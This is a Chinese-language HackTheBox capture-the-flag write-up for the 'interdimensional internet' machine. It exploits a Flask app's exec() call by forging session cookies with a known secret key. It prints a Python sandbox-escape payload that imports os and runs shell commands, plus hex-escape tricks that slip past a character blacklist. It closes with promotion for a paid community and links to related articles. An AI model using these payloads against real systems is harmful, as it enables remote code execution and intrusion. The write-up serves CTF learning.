【HackTheBox】攻克靶机实战interdimensional internet攻略分享
信息收集
访问网站,查看页面基本信息
访问页面,页面无超链接等其他功能。控制台、网络均无可利用点.
抓包,看session有jwt特征
将之解码后发现measurements带base64特征,解码后得11+39=50
与响应页面中显示的数字一致。
响应包的session解码后参数可展示在响应页面。请求包session为空,再次刷新页面,相应包session与展示数字一并改变。
只能说发现了响应包session与页面展示规律。并无突破思路。
目录扫描
可见/debug超链接
查看源代码
访问/debug页面,可见网站源码
多次出现/debug的提示,证明该处应为关键突破点。
代码分析
calc函数包含名命令执行exec()。exec中为session中2个参数拼成的新字符串。
由此,可构造session进行jwt编码,以执行命令。
漏洞利用
满足条件的payload,构造过程如下:
1》构造执行命令
2》绕过黑名单
3》ingredient和measurements均不为空,且20<=recipe<300
4》Flask客户端session伪造
5》优化执行命令
6》获得flag
1》构造执行命令
exec执行print成功
通过命令执行漏洞获得flag。突破口应是ls列出文件,定位flag文件,并进行读取flag
执行ls
本地尝试exec执行ls
报错:__import__ not found
Google搜ssti hackticks python
将语句写入脚本
说明().__class__.__base__.__subclasses__()中warnings.catch_warnings可以导入import os成功执行命令。
为简化语句,打印出warnings.catch_warnings所在数组的位置:60
语句简化为:
().__class__.__base__.__subclasses__()[60]()._module.__builtins__['__import__']('os').popen("dir").read()
线上环境也可能是linux,所以也可能是:
().__class__.__base__.__subclasses__()[60]()._module.__builtins__['__import__']('os').popen("ls").read()
这边猜测是linux环境。
2》绕过黑名单
不能包含以下四个字符[(_.
用以下方式绕过。\28经2次print转为(
同样方式转换
\x28 (
\x5b [
\x5f _
\x2e .
故执行命令语句经转换后为:
\x28)\x2e\x5f\x5fclass\x5f\x5f\x2e\x5f\x5fbase\x5f\x5f\x2e\x5f\x5fsubclasses\x5f\x5f\x28)\x5b60]\x28)\x2e\x5fmodule\x2e\x5f\x5fbuiltins\x5f\x5f\x5b'\x5f\x5fimport\x5f\x5f']\x28'os')\x2epopen\x28"ls")\x2eread\x28)
3》ingredient和measurements均不为空,且20<=recipe<300
{'ingredient': b'\x28)\x2e\x5f\x5fclass\x5f\x5f\x2e\x5f\x5fbase\x5f\x5f\x2e\x5f\x5fsubclasses\x5f\x5f\x28)\x5b60]\x28)\x2e\x5fmodule\x2e\x5f\x5fbuiltins\x5f\x5f\x5b'\x5f\x5fimport\x5f\x5f']\x28'os')\x2epopen\x28"ls")\x2eread\x28)', 'measurements': b'7-4'}
4》Flask客户端session伪造
git clone https://github.com/noraj/flask-session-cookie-manager.git
cd flask-session-cookie-manager/
python3 -m pip install Flask
访问页面抓包获得session进行解码
python3 flask_session_cookie_manager3.py decode -s "tlci0GhK8n5A18K1GTx6KPwfYjuuftWw" -c "eyJpbmdyZWRpZW50Ijp7IiBiIjoiYzNweGFXSnBaMlowY2c9PSJ9LCJtZWFzdXJlbWVudHMiOnsiIGIiOiJNelVyTkRnPSJ9fQ.YrMHfA.XME1AvAKBalRQ0n74pr-dvx4I3U"
解码为:
{'ingredient': b'szqibigftr', 'measurements': b'35+48'}
使用如下命令进行编码:
python3 flask_session_cookie_manager3.py encode -s "tlci0GhK8n5A18K1GTx6KPwfYjuuftWw" -t "{'ingredient': b' \x28)\x2e\x5f\x5fclass\x5f\x5f\x2e\x5f\x5fbase\x5f\x5f\x2e\x5f\x5fsubclasses\x5f\x5f\x28)\x5b60]\x28)\x2e\x5fmodule\x2e\x5f\x5fbuiltins\x5f\x5f\x5b'\x5f\x5fimport\x5f\x5f']\x28'os')\x2epopen\x28"ls")\x2eread\x28)', 'measurements': b'35+48'}"
编码后的session重新发请求
说明过滤的[(_.关键字无效。需进一步进行语句转换。
防止\被转义,变成\\。
python3 flask_session_cookie_manager3.py encode -s "tlci0GhK8n5A18K1GTx6KPwfYjuuftWw" -t "{'ingredient': b'\\x28)\\x2e\\x5f\\x5fclass\\x5f\\x5f\\x2e\\x5f\\x5fbase\\x5f\\x5f\\x2e\\x5f\\x5fsubclasses\\x5f\\x5f\\x28)\\x5b60]\\x28)\\x2e\\x5fmodule\\x2e\\x5f\\x5fbuiltins\\x5f\\x5f\\x5b'\\x5f\\x5fimport\\x5f\\x5f']\\x28'os')\\x2epopen\\x28"ls")\\x2eread\\x28)', 'measurements': b'35+48'}"
转义问题已经解决,不报错了。但是返回包cookie没了。执行ls后的结果如何能展示出来?
5》优化执行命令
使用flask.session将ls命令执行的结果展示在响应包中的session中x参数,将之打印。
exec"i=().__class__.__base__.__subclasses__()[59]()._module.__builtins__['__import__'];i('flask').session['x']=i('os').popen('ls').read()"#
转换为
exec"i=\\x28)\\x2e\\x5f\\x5fclass\\x5f\\x5f\\x2e\\x5f\\x5fbase\\x5f\\x5f\\x2e\\x5f\\x5fsubclasses\\x5f\\x5f\\x28)\\x5b59]\\x28)\\x2e\\x5fmodule\\x2e\\x5f\\x5fbuiltins\\x5f\\x5f\\x5b'\\x5f\\x5fimport\\x5f\\x5f'];i\\x28'flask')\\x2esession\\x5b'x']=i\\x28'os')\\x2epopen\\x28'ls')\\x2eread\\x28)"#
Session编码
python3 flask_session_cookie_manager3.py encode -s "tlci0GhK8n5A18K1GTx6KPwfYjuuftWw" -t "{'ingredient':b'exec"i=\\x28)\\x2e\\x5f\\x5fclass\\x5f\\x5f\\x2e\\x5f\\x5fbase\\x5f\\x5f\\x2e\\x5f\\x5fsubclasses\\x5f\\x5f\\x28)\\x5b59]\\x28)\\x2e\\x5fmodule\\x2e\\x5f\\x5fbuiltins\\x5f\\x5f\\x5b'\\x5f\\x5fimport\\x5f\\x5f'];i\\x28'flask')\\x2esession\\x5b'x']=i\\x28'os')\\x2epopen\\x28'ls')\\x2eread\\x28)"#', 'measurements': b'4+25'}"
响应包中session解码
获得session响应包中x参数,即为ls执行返回内容。
存在文件totally_not_a_loooooooong_flaaaaag
6》获得flag
构造session以查看文件内容。
根据响应包中session解码获得响应包中session参数x的内容,即为flag
如果你喜欢巫巫的原创文章,推荐加入巫巫的社群(72小时内可申请退款)。
▎ 我建立这个星球来沉淀有价值的内容,更好地帮助小伙伴提升自己。
▎ 很多小伙伴都添加我的微信,向我提问越来越多,随便回答不太好,如果不回答也不好,如果都仔细回答,是真的回答不过来!
▎ 后来发现可以建立知识星球,我会花费时间在这个星球上用以解决这一问题。
▎ 进入星球你需要注意:
1.如果是伸手党,请离开,星球的本质是解决问题思路,而不是解决懒惰。
2.如果你是个爱思考的小伙伴,我们愿意分享知识总结,与你一起进步。
3.星球旨在为有疑问和困惑的人提供有价值的帮助和支持,鼓励读者通过自己的思考和努力来解决问题。
4.涉及知识面:漏洞挖掘、CTF、企业安全建设、网络边界安全、GAN网络、web3.0安全、安全运营、打击涉网犯罪、哲学法家、等行业全知识面覆盖
5.提供咨询服务,按问题小时付费,语音沟通,满意付款。
合抱之木,生于毫末。
九层之台,起于累土。
每一次努力和积累,都是在为网络安全领域的发展贡献自己的一份力量。
感谢您一直以来的支持和关注!
隐藏的危险:Apache Superset三个RCE漏洞浅析
从Prompt注入到命令执行:探究LLM大型语言模型中 OpenAI的风险点
如何在TG群中获取用户真实IP?这些手段教你轻松实现【附代码】
防范虚拟货币钱包盗窃:揭秘非Approve的新型盗U诈骗手段(终极版)
【欺负老实人】在chatgpt Prompt中注入攻击代码,截取跟踪用户信息,钓鱼XSS。
我使用ChatGPT审计代码发现了200多个安全漏洞(GPT-4与GPT-3对比报告)
原文始发于微信公众号(安全女巫):【HackTheBox】攻克靶机实战interdimensional internet攻略分享
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论